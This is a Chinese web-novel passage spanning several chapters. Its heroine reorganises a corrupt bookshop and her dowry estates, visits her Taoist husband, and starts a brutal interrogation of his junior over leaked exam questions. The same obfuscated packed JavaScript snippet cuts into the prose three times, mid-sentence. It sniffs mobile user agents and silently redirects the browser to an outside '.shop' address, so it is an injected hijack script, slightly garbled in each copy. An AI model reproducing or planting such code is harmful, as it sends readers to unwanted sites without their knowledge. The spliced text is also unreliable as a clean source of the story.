他忙走到叶青漓前面,挡住她想要翻看账本的动作,“东家,这账本就没必要看了吧!我每个月都会把账本送到您府上的。” 叶青漓脸色一沉,“怎么,有什么我看不得的吗?” “这……” 胡六还要找借口,叶青漓已经越过他,径直往柜台上的账本走去。 刚翻开第一页,叶青漓就被气笑了! 这间书铺竟然连账本都被啃得七七八八了! 胡六对上叶青漓冷厉的眼神,下意识低下头去。 叶青漓不过随意翻了翻,便看出这账本不过随意记账,里面的数据根本乱得不能再乱。更离谱的是,账本上记录的时间还是南朝五年,现今可已经南朝二十三年了! 他还真在这书铺做了快二十年掌柜! “啪!” 千疮百孔的账本落在地上,激起一层厚厚的灰。 阴暗发霉的味道侵入鼻尖,叶青漓冷笑一声,“你就是这样经营书铺的?” 胡六无赖一笑,再次展露满口黄牙,“十几年来都是如此。” 不知悔改的态度瞬间激怒叶青漓,“很好。我也不是不体恤人的东家,既然掌柜的经营书铺累到身子不适,那就别在此处浪费人生了,拿了你这个月的月钱,滚吧!” “你要赶我走?” “是辞退!” 叶青漓偏过头去,不愿再看这个令她厌恶的人,“采莲,把他这个月的月钱给他。” “是!” 采莲从一进门就瞧胡六不顺眼,再看这间书铺被他弄成这副样子,心中更是不齿!若不是叶青漓已经开口,她甚至连这点月钱都不想给他! 哪有当掌柜当成这样的?叶府的陆夫人这么多年都没发现这铺子的不对劲吗? 胡六见叶青漓是动真格要辞退自己,脸上谄媚的笑也没了,“东家,你就这么辞退了我,不怕叶侍郎生气吗?” “叶侍郎?这关我义父何事?”叶青漓挑眉,“你一个书铺掌柜,经营十多年书铺生意几近于无,我辞退你说出去谁不夸我做得好?” 她义正言辞道:“就连义父也会高兴的!” “哼!那可不见得吧!” 胡六轻笑一声,当着叶青漓的面又大摇大摆地坐回了摇椅上。 叶青漓看着他有恃无恐的样子,忍不住问道:“此话怎讲?” 胡六在摇椅上晃了几下,神情颇为惬意。 “这么多年,这书铺是什么样子,他身为东家怎么会不知道,可是他从来没有责备过我,就连你义母想要赶我走都被他拦下。你一个小丫头片子,难道要违抗你义父的命令吗?” “你在说什么大话?我义父最是听我义母的话,义母要赶走你,轻而易举!” “哼!那要是我手里有你义父的把柄呢?” “怎么可能?!” 叶青漓厉了神色,却因面容稚嫩看起来有些色厉内荏,“你胡说!我义父为官清正,他可是个好官!” 胡六耸肩,“我又没说是他当官的把柄!” 他目光落在叶青漓脸上许久,忽然坏笑起来,“只是他年轻时候的风流韵事罢了!但是他心虚,这才一直由着我做掌柜。我劝你也不要把这件事捅到你义父面前,否则你这张面皮给你带来的好处,可就没有喽!” 她的脸? 电光火石之间,叶青漓脑海中忽然浮现一个想法,该不会胡六所掌握的把柄,就是叶修恺为求荣华富贵抛弃妻女? 胡六以为自己是因为长得和娘像,才让叶修恺动了恻隐之心认为义女。却不知叶修恺就是世界上最假仁假义的人,他先蒙骗自己亲人不在,再施以恩惠将自己认为义女,好让自己一辈子都记得他的大恩! 如果真是这样,那自己就更没有留下胡六的必要了! 她和娘的仇,她自己会报! “我看你分明就是胡乱攀咬,义父为人正直,有情有义,怎么可能是你口中的那种人?实话告诉你,今天就是义父叫我来赶你走的!” 叶青漓气得红了脸,“采莲!” “奴婢在!” “快把他赶出去!” “是!” “哎,你干什么?我警告你,你别碰我,你不怕我把叶修恺的把柄说出去吗?” “那你就说去吧!我家老爷身正不怕影子斜!” “哎哎哎,别碰我……!” 书铺内闹了一阵,很快恢复平静。 采莲将胡六丢出书铺,铺子外面还有顾国公府的人,有他们在,胡六不敢乱来。 清理了‘蛀虫’,叶青漓再一次打量这间铺子。 得找人先把铺子清理一遍,不能看的书丢掉,进一批新货,再找一个信得过的掌柜。 叶青漓打定主意后,带着采莲离开,走到门口时她抬头看了眼书铺上面‘叶家书铺’的招牌。 “招牌也换一个吧,就叫‘三甲书铺’。” “是。” 处理完书铺,叶青漓又去了她嫁妆里的另一处铺子——浆麻铺。 看过胡六,再看这间干净整洁,账本完好的浆麻铺,叶青漓的心情得到极大的抚慰,然而她脸上的笑容在看见账本的那一刻还是僵住。 “怎么铺子近几个月一直亏损?” 浆麻铺的掌柜叫曹良俊,是个地地道道的读书人,屡次科考失败做了掌柜,身上还自带一股书卷气。 他对着叶青漓拱了拱手。 “东家容禀,咱们铺子一直以来生意都还不错,只是几个月前隔壁也开了家浆麻铺,价钱也比咱们打得低,许多顾客都去了他们那家。” “我原先禀了叶府东家,想要适当降价挽回一些顾客,被拒绝了,那之后咱们这间铺子的生意就更差了。” “后来,后来甚至连工人的工钱都付不起,走了好多老师傅,就,越来越差了。” 曹良俊说罢,见叶青漓一脸冷色,纠结片刻还是说道:“其实这也不能怪那些工人,大家都是出来混 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592959|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口饭吃的,一连几个月发不出工钱,家里的孩子添衣裳都没钱,现在又是冬日……总之,是我的不是,还请东家责罚。” 他站在原地,一脸颓色。 叶青漓没有开口,一页页翻过账本,这账本上每一笔账目都清晰明了,几个月前银子虽然不多,但确实有进项,只是近几个月才亏空。 亏空才是正常的! 陆怡珊给自己准备嫁妆,自然是怎么不值钱怎么来。 一个不能赶走无赖掌柜每月倒赔银子的书铺,一个连连亏空即将倒闭只剩下掌柜的浆麻铺,一股脑丢给自己,叶府的账目瞬间清楚多了! 不过这些都难不倒叶青漓! 她从账本上挪开眼,看向曹良俊,“曹掌柜,你曾经参加过春闱?” 这话问得突然,曹良俊老脸一红,忙低下头,“东家说笑了,我不过是去凑了凑热闹,连个名次都没有……” “我不是要嘲弄你的意思,只是想请掌柜的帮我一个忙。” 曹良俊有些错愕,“东家还有需要我帮忙的地方?” 叶青漓莞尔一笑,瞬间打破了方才的紧张气氛。 “我有一间书铺,刚好缺个掌柜,这浆麻铺眼看着快要倒闭了,我想不如就关掉,想请曹掌柜帮我去打理那间书铺,你意下如何?” 曹良俊简直不敢相信自己的耳朵! 他搞黄了东家的浆麻铺,东家竟然还愿意用他,让他去经营书铺?这是什么天大的好事? “愿,愿意!我愿意!” 曹良俊连忙点头,生怕自己答应晚了叶青漓就要反悔。 “那好,我让人把钥匙给你,你今日先去瞧一瞧,看看有什么需要整改的地方,想好了拿着这个牌子来顾国公府找我。” 叶青漓说罢,采莲便上前将牌子和钥匙一起交给曹良俊。 他拿着手里的东西,又看了叶青漓一眼,欲言又止。 “还有什么事吗?” “我就是想问问东家,浆麻铺关了,那剩下的那些伙计怎么办?如今马上要过年了,要是这个时候辞退他们……” 叶青漓点头,“你不说我都忘了!” “浆麻铺经营困难时未曾离开的伙计,每人补足欠的工钱后,另给一月工钱作为感谢,多谢他们与浆麻铺并肩作战。至于其他的,你是书铺的掌柜,你来安排!” 这便是给曹良俊极大的自由了! 他终于笑起来,眼中还氤氲着些许雾气,“我替那些伙计多谢东家!” 从浆麻铺出来时,天色已经不早了,叶青漓上了马车,和采莲一起回顾国公府。 路上采莲提起书铺的胡六还满脸忿忿之色,“这世上怎么会有这种人?把好端端的一间铺子,糟蹋成那样!要我说小姐你就不该给他那一个月月钱!又无赖又邋遢,还什么好事全叫他占了,真是气死我了!” 叶青漓偏头看着车外的景象,沉声低语,“好事?不见得吧。” 胡六被辞退后,虽然收到一个月月钱的补偿,可彻底失去了一个每月能拿银子的‘工作’,他心中是一万个不情愿! 可惜,叶青漓身边一直有顾国公府的下人守着,他不敢找她的麻烦。 “狗日的叶修恺,自己不敢出头,认一个义女来砸我的场子。说好的我帮你保守秘密,你留我在书铺做掌柜,既然你无情,就别怪我无义了!” 14. 坐喜 凌寒的冬日愈发临近,大雪悄然而至,鹅毛般的雪花飘飘洒洒,将整个京城都笼罩在严寒之下。 月弦如勾,京城四下一片漆黑,唯零星几处烛火若隐若现。 街巷幽深,雪地上很快出现了一行脚印,巷角墙根下,一个肥硕的身影正在努力向上攀爬。 “哎呦——!” 幸而地面已经落了一层厚厚的雪,胡六摔得没有那么疼。他揉了揉屁股,继续朝里走着,凭着记忆往一个方向而去,却被起夜的小厮发现,很快被压在地上。 “哎!别打,别打!我是你们老爷的朋友!” “胡说,老爷的朋友,怎么不走正门进来,却干起了歪门邪道,翻墙而进?你定是小偷!看我不报官,叫你好好长个教训!” “住手!” “老爷?” “叶老七,我总算见到你了!” 胡六脸被按在雪地里,面容扭曲,看见叶修恺的瞬间却两眼放光。 叶修恺眉心微拧,有些惊诧地看着地上的男人。 他打发走小厮,将胡六叫至一个安静的房间。 多年为官积累的威势倾泻而出,毫不客气压向胡六, “你来做什么?” 胡六下意识打了个冷战,想到自己来的目的,狠狠摇头将心底的怯意甩开。 “你还问我来做什么?我倒想问问你!叶老七呀叶老七,我没想到你是这样不守信用的人,说好了书铺交给我,每月给我二十两银子月钱,这才多少年,你就想反悔了?” “你在胡说什么?” “嘿!你还不承认!” 胡六越想越气,走到叶修恺近前指着他鼻子骂,“你个忘恩负义的狗东西!当年谁帮你摆平素娘的事你忘了?要不是我,你叶老七哪有现在的好日子!现在你日子舒坦了,就来砸兄弟的场子,还派个跟素娘长得七八分像的义女把我辞退。” “我呸!你以为我会怕吗?” “我告诉你,我只给你三天时间,要么,让那丫头把书铺还我!要么,我就要上府衙去状告你抛弃妻女!” 胡六好吃懒做,自来邋遢,带着恶臭味的唾沫星子喷在叶修恺脸上,瞬间打消了他心底最后一丝仁慈。 “你见过青漓那丫头了,是她把你赶出来的?” “啊,对,就是她!” 叶修恺放下心来,捻着胡须笑了笑,“你知道的,京城嫁女的习俗,要赔上一份嫁妆,许是我夫人弄错,把你的书铺放进去了。你先回去,明日我就去跟青漓说,让她把书铺还给你。” 胡六闻言,立刻高兴得要跳起来,余光扫了眼二人身处的屋子,贪婪的眼珠转了转。 “我今日被一个小辈赶出门,丢了好大的面子,你可得补偿我!不如……就把这花瓶赠我吧!” 叶修恺嘴角弧度不变,“好。” 胡六在叶府连吃带拿,终于痛快带着捡回来的‘面子’,哼着小曲往家走。 夜深人静之时,忽然一个麻袋从天而降罩在他头上,黑暗侵袭了胡六整个视野,无数闷棍紧随其后。 “谁呀!啊,啊,别打——!” 片刻之后,洁白纯净的雪地沁了一抹红。 * 叶青漓回到顾府时,天色见黑。顾府人多,除了固定的请安时间外,一日三餐都是在各自的房里用。 令叶青漓意外的是,三弟妹辛氏竟然在她院中等她。 “三弟妹。” “大嫂!” “三弟妹怎么突然到我这里来了,今日回门,没有及时招待,实在抱歉。三弟妹是找我有事吗?” 辛氏的目光直望向叶青漓身后,确定顾承宴不在后,嘴角微微上扬,继而将手放在自己的小腹上,嘴角藏不住的炫耀欣喜。 “我怀孕了!” 叶青漓微讶,忙道:“恭喜恭喜!” 辛氏十分受用她的道贺,目光期待地盯着叶青漓的脸,似乎要从她脸上瞧出个什么来。 叶青漓微微偏过头,“我脸上有什么东西吗?” 意识到自己太过明目张胆,辛氏念念不舍地收回目光,捂着嘴半笑道:“大哥大嫂新婚之喜,我本不该来的,可是娘说府中许久没有添丁,特意让我来这坐坐,听说这叫‘坐喜’,能让新婚夫妻更快有孕。” “哦,原来是这样。” 叶青漓虽然很不理解这种风俗习惯,但是她表示尊重。 她点点头,再次看向辛氏,“三弟妹既然已经坐过了,可还有别的事?” 辛氏脸上笑容一僵,继而抚着肚子又笑起来,“怎么不见大哥?” 叶青漓见她没什么大事,自顾自走到桌边给自己倒了杯茶,饮尽一杯才开口,“他回白云观了。” “什么?大哥怎么能这样呢?” 辛氏一副为叶青漓不值的样子,突然走到叶青漓身边,做作地拉起她的手,“你们二人新婚不过三日,大哥就弃你而去,实在不该!大嫂,你辛苦了!” 叶青漓嘴角抽动,默默抽回自己的手,甩了甩自己被茶水晕湿的衣袖,“我不觉得辛苦。” 辛氏不赞同地瞥了她一眼,“怎么会不辛苦呢?” “大哥是府中长子,爹不知有多期待他的孩子,从前是大哥没有成婚,现在大哥有了大嫂,爹自然是十分期待大嫂早日怀孕的!否则娘怎么会派我来?” 这是催生来了? 可府中人尽皆知她和顾承宴没有圆房。 叶青漓静了片刻,明白过来辛氏突然走这一趟的目的。难怪叶蕙珠重生后,嘴上一口一个顾承宴不能生,甚至为着这个要换亲,想来就是辛氏和赵氏不断在她耳边念叨孩子的重要性,提高叶蕙珠的期待。顾承宴又无法满足这份期待,两人渐生怨憎。 不过这种事情在她这都不算事! 以这个地方的生产条件,她巴不得自己不用生! 叶青漓扬起一抹精致的假笑,放下茶杯,同样拉起辛氏的手,满眼诚恳。 “三弟妹说得对,可惜我家夫君满心满眼都是修道,我只怕这辈子与孩子无缘分。幸好三弟妹有了身孕,爹也不用再日盼夜盼。不过,若是爹实在苦恼夫君膝下空虚,我想,从顾国公府旁支抱养一个也是可以的。” 叶青漓忽而双眸亮起,“哦,对了,三弟妹与三弟以后不止生一个孩子吧,不如将这个孩子放在我膝下养着?刚好全了三弟妹特意为我‘坐喜’的缘分。” “你放心,我一定待他如亲生骨肉一般!” 叶青漓脸上的笑容温和又美丽,在辛氏眼中却犹如抢孩子的恶魔! 她竟然想要自己的孩子?! 辛氏猛然站起,动作太快,叶青漓吓得连忙伸手拽住她的胳膊,可辛氏反应更大,腾地后退两步,似乎叶青漓是什么洪水猛兽! 她抚着自己的肚子连忙转身,“大,大嫂说笑了,大哥大嫂以后会有自己的孩子的!我,我肚子不舒服,我先回去了!” 说着逃也似的离开院子。 采莲在一旁看完了全程,忍不住朝辛氏的背影做了个鬼脸。 “哼!嘴上说得那么好听,还不是想来看小姐的笑话,现在好了,自己成笑话了!” 小丫头努力维护自己的模样令叶青漓心中一暖,上辈子采莲也是这样对自己好,可惜拗不过剧情的大腿,死于非命。 这一次,自己一定要保护好她! “好了,她不过嘴上说两句,我也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603996|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会掉块肉。你跟着我累了一天了,早些回去休息吧!明日还有别的事要忙呢!” “是。” 不知辛氏回去后是如何与赵氏回话的,总之接下来几天,叶青漓面前再也没人刻意提起顾承宴,惹她‘伤心’。 * 叶青漓手下的资产共有三部分:一是叶修恺给的体己钱,二是陆怡珊准备的嫁妆,三则是顾承宴母亲的嫁妆。 顾承宴曾在顾府放言,他不会娶妻,也不会继承家产和爵位,就此上山做了道士。 赵氏对顾承宴生母留下的东西很是眼馋,可碍于顾国公的要求,只能将这些东西全都塞进给叶府的聘礼中,正好省了她再为顾承宴操办。 这份属于顾承宴母亲的嫁妆,本来有多少东西叶青漓不得而知,反正落在她手里时,铺子只有两间。 一间是茶铺,开在少有人踏足的角落,每日只供些过路人喝碗茶水,赚不到几个钱。另一间是脂粉铺,专给年轻的女娘们卖些胭脂水粉,只是铺子里的货看起来有些过时了,瞧着还是好几年前的款式,生意也不怎么景气。 采莲陪着叶青漓看了一圈,重重叹了口气。 “怎么就没一家生意兴旺的铺子?” 叶青漓闻言轻笑,“你家小姐是无父无母的义女,你家姑爷是丧母的嫡长子,这聘礼和嫁妆自然水了去了!” “不过无妨,有总比没有强,这些铺子到我手里,就不怕它们赚不到钱!” 逛完铺子,叶青漓又打算去看看她手底下的田产,两处嫁妆加起来,她手底下拢共有三个庄子,共计五十多亩田地,这也是要规整的大头。 凡事要防范未然。 田间庄头,平日里叶青漓不经常踏足,因此更要挑选得力的人监管庄子,避免庄头欺上瞒下,欺压佃户,或是侵吞田亩,等到事情闹大就是一个大坑! 临出发前,书铺的曹掌柜找上门来,将书铺清理过后的情况统计一番,经过胡六这么些年的糟践,原先书铺里价值昂贵的书籍全都成了一堆废墟,只有几个书架擦洗之后还能用,其他的笔墨纸砚,伙计账房更是什么都没有。 叶青漓给了曹掌柜银子,让他照着‘三甲书铺’的规格去设计整改,即:纸张一甲,墨水一甲,内容一甲。 处理完书铺的事情,叶青漓带着采莲出发去巡视田庄。 第一个去的就是距离京城最近的小山庄,也就是田婆子和赖婆子所在的地方。 两人在看清钱婆子的下场后,对叶青漓一直毕恭毕敬,即使庄子上的生活与顾府相比要劳累许多,两人也未曾提出回府的意思。 叶青漓见她们还算老实,略微敲打一番后便作罢。 值得庆幸的是,叶青漓手里的这五十多亩田地,除了陆怡珊给的良田变下等田外,其他的都是上等,就连田里的庄头也都是老实忠厚之人,田庄的账目清晰,佃户们虽无大富,脸上却还有吃饱穿暖的微笑。 叶青漓将手中银票换成铜钱,分发给庄子上的每一个人,既是对庄头认真负责的奖赏,也是告知庄子上的人,从今以后她才是他们的新东家! 如此又过了三日,商铺,田庄等类的嫁妆才算彻底巡查结束。 从最后一个庄子回来时,叶青漓心情不错。 府中赵氏忙着给辛氏安胎,根本分不出半点心思在她身上,顾国公又是男子,平日并不需要自己去请安伺候。其他几个妯娌虽偶有口舌之争,倒也不会特意来找自己麻烦。 最重要的是,她那位夫君形同虚设,给了自己极大的自由! 叶青漓这般想着,忽生出闲心掀起车窗旁的帘子看了眼外面的景色,白云观三个大字赫然出现在自己面前! “怎么到这来了?” 15. 看望 “小姐,咱们回家本来就要经过白云观的呀!” “是吗?” 叶青漓默了一瞬。 她这几天一直忙着商铺田庄的事情,倒是忘了白云观就在她回家路上。 新婚不到十日,多次路过夫君所在的地方,不进去看看他好像不符合人设。而且她家夫君心软又好看,多看两眼他也不会生气。 “既然来了,那就上去看看吧。”叶青漓一声令下,车夫立刻调转马头。 白云观坐处京郊白云山,此山因山势低缓,山间常年白云环绕得名。 日前一场大雪,好似薄缦轻纱,覆在山上白茫茫一片。叶青漓与采莲并肩而行,目之所及是一座庄严的道观,微风携着轻灵的铃音飘然而过,袅袅青烟缓缓升起,伴着暖人香气划过鼻尖。观中琴声古朴,钟声悠扬,殿中签声唰唰摇动,时间仿佛在这里放慢了脚步,令人无比心安。 观内供着的三清祖师庄严肃穆,叶青漓不信鬼神,可自己经历清奇,不得不信。 她拱手朝三清真人拜了拜,侍立一旁的小道士立刻拿着一支签筒走近。 “善人可是来求姻缘的?我们白云观的签很灵的,不妨试一试?” 叶青漓笑了,这小道士一开口,她方才在外面感受到的庄严神圣瞬间化为虚无。 “你怎么知道我是来求姻缘的?” 小道士低头,浅浅一笑,“我不知。师父说让我拿着这签筒,只管看谁有缘就让谁抽。我看娘子是这些人里最美的,想来就是有缘了。女子来求神拜佛,又大多都是为姻缘之事……” 他说着,有些不好意思将头埋得更低。 叶青漓只觉得好笑。 这白云观的道士除了那日欺负采莲和她弟弟的那一个外,该不会全都和顾承宴一样,心软又好说话吧? 叶青漓看着小道士害羞的样子,忍不住生了逗弄的心思。 “道长说得对,我就是来求姻缘的。只是我这姻缘却不是一支签就能求得明白的。” 她微微蹙眉的样子令人神伤,小道士不知不觉顺着她的话问道:“为何?” “我已嫁人,姻缘已成,只是夫君不喜,算不得好姻缘。小道长觉得我还需要再抽签吗?” 这样美的娘子,竟然也有人会辜负? 小道士微张着嘴,有些惊讶,他看了眼叶青漓,又看了眼手中的签筒,思虑片刻,毅然决然将签筒递了出来。 “师父常说:事在人为,休言万般都是命。善人不若试一试,或许能有转机!” 叶青漓挑眉,忽地莞尔一笑,朝着签筒伸出手。 “那就多谢小道长了!” 顾承宴年少早慧,儿时看惯了父亲对母亲的冷漠疏离和对继母的温柔呵护,长大后他更是一眼看穿继母为家产爵位,挑拨离间的丑恶嘴脸。 历经险恶这么多年,他的心早已修炼得波澜不惊。 可近日来,这颗沉入死水的心却接连被人撩动。 一次是大婚当日,他的新妇当着众人的面承认了他母亲为婆母,帮他把母亲的牌位挪到堂前。 一次是现在,他的新妇不知何时出现在白云观,笑意嫣然。 可惜,不是对着他! 顾承宴沉声,“你怎么在这?” 木签落地,叶青漓正低着头准备查看内容,耳畔忽然传来一个好听的声音,她瞬间扭头望了过去,眸中一亮。 “夫君!” 叶青漓扬起嘴角,笑得比方才更加恣意,提裙向顾承宴跑去,“我是来找你的啊!” “夫,夫君?!” “你的夫君是长生师兄?!” 并肩而立形同璧人的两人,把小道士看得目瞪口呆。 长生师兄竟然就是这位娘子的夫君?她说她的夫君不喜欢她?自己方才还鼓励她求姻缘?长生师兄看自己的眼神怎么这么可怕?他是不是听见什么了? 小道士咽了咽口水。 “没错,他就是我家夫君。多谢道长方才为我解惑!”叶青漓冲小道士说罢,才扭头回答顾承宴的问题,“前几日下了大雪,我担心夫君在观中生活,特来看望。” 叶青漓抬眸看向顾承宴侧脸,眉目清冷,鼻梁高挺,薄唇微抿,遗世独立。 果然,她家夫君还是穿这一身道袍更好看! “对了,夫君,我还不知道你住哪呢?” 叶青漓嘴角噙着微笑,眼睛弯成一条月牙,顾承宴到嘴边赶人的话被咽回去。 “跟我来。” 两人一前一后离去,徒留小道长一脸惊恐。 待彻底看不见两人身影,他才重重松了一口气,抬步欲离去时,脚下忽然踩住什么东西。 “咦,是师嫂的签!” 他捡起看了一眼: 上上,宸宫。 阴阳道合总由天,女嫁男婚岂偶然;但看龙蛇相会合,熊罢入梦喜团圆①。 叶青漓跟在顾承宴身后来到他的住处,和他的人一样,清冷,干净。 一间静室,一张小床,被衾单薄,厚不过墙角经书。 叶青漓满目讶然,“夫君这么多年就住在这个地方?” 顾承宴点头,“要进来看看吗?” 这也没什么看的必要了吧! 叶青漓浅笑一记,抬步跨进屋子,左右看了看,勉强找出几个优点。 “这房间虽小,但胜在清静,夫君修道主要修的还是心,没有外物侵扰才能事半功倍!还有这扇小窗,春去夏来,秋过冬往,一窗一世界,一叶一菩提。夫君境界高远!” 叶青漓努力扯开嘴角,不让自己泄露出一丝真实想法。 顾承宴出身顾国公府,是按照继承人的身份培养长大,一应礼数最为周全。从叶青漓进门起,他就应开口请叶青漓坐下,却惊觉屋内并无桌椅,她要坐只能坐在自己床上。顾承宴蹙眉,极是讨厌这种失礼的感觉。 叶青漓在屋内转了一圈,又来到窗前走了几步,满室顷刻间被她身上的幽香充盈,浅香直扑他的鼻间,一向让他觉得舒适惬意的屋子,忽然间变得窄小起来。 “若不然,我们还是出去走走吧!” 叶青漓毫不犹豫,“好啊!” 顾承宴将叶青漓带至后山的一处石桌前坐下,再次问起叶青漓来白云观的目的。 叶青漓理直气壮,“我不是说了吗?我是特地来看你的。” 她冲不远处的采莲看了一眼,采莲立刻将自己一直提在手里的东西拿过来。 叶青漓揭开保温性能良好的雕花木盒,冲顾承宴眨了眨眼,“这款桂花糕是京城那家好食斋新出的,味道比之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13613086|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的美味不少,经常要排着队买呢!我特意让人提前买了些,夫君尝尝?” 一只素白玉手出现在顾承宴视野,手指纤细修长,指尖圆润,肌肤比手腕上的羊脂白玉手钏还要细腻莹白。叶青漓手中的桂花糕冒着热气,徐徐热意蒸腾而上,带着桂花糕的香气,以及另一种清香。 顾承宴喉结微动,接过桂花糕咬了一口,果然清香扑鼻。 “是很不错。” “是吧?我就说这家铺子的桂花糕最好吃了!” 叶青漓拿起一块放在自己嘴里,瞬间幸福得眯起眼睛,“对了,夫君上次下山,说是为了你那位师弟偷卖供果一事,现在事情可了结了?” 叶青漓吃得开心,一边吃着一边问顾承宴旁的事情,全然没有一分大家闺秀在男子甚至是夫君面前的拘谨和矜持。 顾承宴习以为常,吃下手中糕点后再未向木盒伸手,老实回答叶青漓的问题。 “有了一些结果,只是这件事背后牵扯更多的人,一时半刻恐怕不能解决。” “不过是些果子,找到他卖给谁,断了销路,挽回白云观的名声不就是了,怎还这般费时?” 顾承宴深看了叶青漓一眼,她红唇翕动,吃得欢快,嘴角什么时候残着一些糕点碎屑都不知道。 他眸色渐深,吐字轻缓,“那些供果中被他放入了明年春闱的试题。” “咳咳咳——!你说什么?” 叶青漓猝不及防吃到一口大瓜,瞬间被口中糕点呛到面红耳赤。好不容易缓过来后,她朝四下望去,见并无闲人靠近,才倾身低问。 “此事当真?!” 顾承宴只是看着她,并无再多言语。 叶青漓却不认为他是刻意逗她。 首先这种事情开不得玩笑,其次顾承宴根本不是这样性格的人! 科举是一个国家选拔人才的重要手段,为了保证公平公正,无数帝王先后制定多条规则。 春闱试题的保密更是重中之重! 拿叶青漓出生的地方来说,制定试题的人在考试结束之前几乎不与外界接触,考试前那些试卷有专人押送,考试时更是切断一切外来信号,防止考生作弊! 一个和平年代尚且如此重视,那在这个皇权至上,随时都有人头落地的南朝,春闱试题泄露又会掀起多大的风浪呢? 不对,这种事情,照常理来说,顾承宴不应该说与她听。 不是叶青漓妄自菲薄,实是南朝思想封建,并无女子当官。甚至除了当官,就连出门经商在南朝也是少见的。上一世,叶青漓是打着别人的名头做的买卖,这一世也是嫁了人,以顾承宴妻子的身份在外行走。 既然她不能科考,又没买过供果,顾承宴与她提起这个干嘛? 师弟,供果,试题,春闱,官员泄题…… 叶青漓大脑飞速运转,将这些线索组成一个圈,倏然明悟! 春闱一向是由礼部举办,如今试题泄露,自然是礼部官员出问题的可能最大!偏偏这么巧,她的好义父叶修恺在礼部任侍郎一职!更巧的是,顾承宴这边刚查出一点线索,自己这个答应好好待在顾家,绝不来打扰他的妻子就出现了! 叶青漓骤然起身,低头俯视顾承宴,挂着碎屑的嘴角勾起一抹冷笑。 “你怀疑我?” 16. 审问 顾承宴看着叶青漓,没有点头,也没有摇头。 叶青漓对上他清冷的眸子,气笑了! “我既不是当官的,也不能科考,你凭什么怀疑我?” 顾承宴沉默片刻,缓缓说道:“只是觉得有些太巧了。” “你救下两人,我发现师弟偷卖供果;你我大婚,我发现供果内藏蹊跷;我刚从师弟口中问出更多线索,你就忽然上了山……”顾承宴顿了顿,拧眉解释道:“我不是怀疑你,而是怀疑叶侍郎。” “他身居高位,有能力也有机会泄露试题,你又被他认为义女,我担心,你是否被他利用而不自知?” “不可能!” 叶青漓厉了神色! 她这辈子和谁合作都可能,唯独不会是叶修恺! 若现在的她是刚刚穿到书里,也许对顾承宴的话不会有什么反应,可如今的她,已真切体会过叶青漓的一生,从生到死。 她就是死也不会和叶修恺同流合污! 叶青漓深吸一口气,让自己冷静下来,一向充满笑意的双眸藏着危险,“你的意思是我义父参与了泄题一事?你怎么知道的?你那个师弟亲口承认的?” 顾承宴摇头,“师弟口风严谨,什么都问不出来,一切都只是我的猜测。礼部官员很多,有机会接触到试题的也不少,叶侍郎只是其中一个。” 叶青漓终于坐下,与顾承宴四目相对,脸上洋溢着一抹诡异的微笑,“既然如此,不如好好问问你那个师弟!” 顾承宴神色不解,“怎么问?” “啊——!” “说,是谁让你把试题放在供果里卖给学子的?” “啊,我不知道!我只是卖些果子,不知道什么试题!” “采莲,加大力度!” “是。” “啊————!” “说不说?” “我不知道!我真的不知道!姑娘,大姐,女侠,姑奶奶,我求求你松手吧,我真的不知道!” 顾承宴的师弟必安被叶青漓踩在脚下,采莲在一边折弄他的手指,疼得浑身颤抖,脸色惨白,一头冷汗几乎沁湿了他的衣服,却依旧嘴硬什么都不肯说。 顾承宴从旁看着,眉心拧作一团,“这样真的可行吗?没有证据就贸然动私刑,可是犯法的!” 叶青漓白了他一眼,“他贩卖科举试题,已经犯了死罪,难道要像你们白云观一样,把他好吃好喝供起来,等着他什么时候活腻了主动交代吗?” 顾承宴一噎。 他们白云观的确对师弟没有什么身体上的惩罚,盖因诸位师兄弟都是一同长大,情分深厚。 可如今,必安犯了大错,若是不能及时阻止,恐怕就连历经百年的白云观也要被牵连! 顾承宴纠结半晌,终是退出屋子,把空间全都交给叶青漓。 顾承宴一走,叶青漓清楚看见必安脸上一闪而过的恐惧。 她勾唇邪魅一笑,踩在必安脸上的脚再次施力,“你的好师兄走了,现在你的生死全在我一念之间!我不是白云观的道士,和你没什么感情,只有一点小小的交集。”叶青漓伸出小拇指比划,侧目看向采莲,必安顺着她的目光看去,这才认出采莲是那日被自己发现偷吃供果的女孩。 他狠狠咽了口唾沫! “你应该还记得曾经在后山你是怎么对待他们姐弟的吧?若不是我及时出现,他们恐怕已经被你打死了,现在,该是你还债的时候了!”叶青漓脚下一松后退半步,采莲紧跟其上,“采莲,不用留手,尽管打!” 必安眼中恐惧更甚,身子不由自主往后退,叶青漓眼底轻蔑一闪而过,红唇再启,“打死也不要紧!他犯的本就是死罪,一会我去跟长生道长说一声便好,他是我夫君,会替我遮掩的!” 